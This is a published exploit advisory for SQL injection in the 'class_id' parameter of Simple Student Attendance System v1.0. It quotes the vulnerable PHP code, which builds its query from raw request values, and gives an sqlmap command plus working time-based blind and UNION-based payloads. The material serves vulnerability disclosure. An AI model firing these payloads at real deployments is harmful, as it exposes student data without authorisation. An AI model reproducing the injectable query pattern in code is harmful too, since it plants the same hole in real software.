Simple Student Attendance System v1.0 – ‘classid’ Time Based Blind & Union Based SQL Injection
# Exploit Title: Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection # Date: 26 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(/php-attendance/classes/actions.class.php): public function attendanceStudents($class_id = "", $class_date = ""){ if(empty($class_id) || empty($class_date)) return []; $sql = "SELECT `students_tbl`.*, COALESCE((SELECT `status` FROM `attendance_tbl` where `student_id` = `students_tbl`.id and `class_date` = '{$class_date}' ), 0) as `status` FROM `students_tbl` where `class_id` = '{$class_id}' order by `name` ASC"; $qry = $this->conn->query($sql); $result = $qry->fetch_all(MYSQLI_ASSOC); return $result; } -> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch --- Parameter: class_id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=attendance&class_id=446' AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND 'nqTi'='nqTi&class_date=0002-02-20 Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: page=attendance&class_id=446' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20 --- |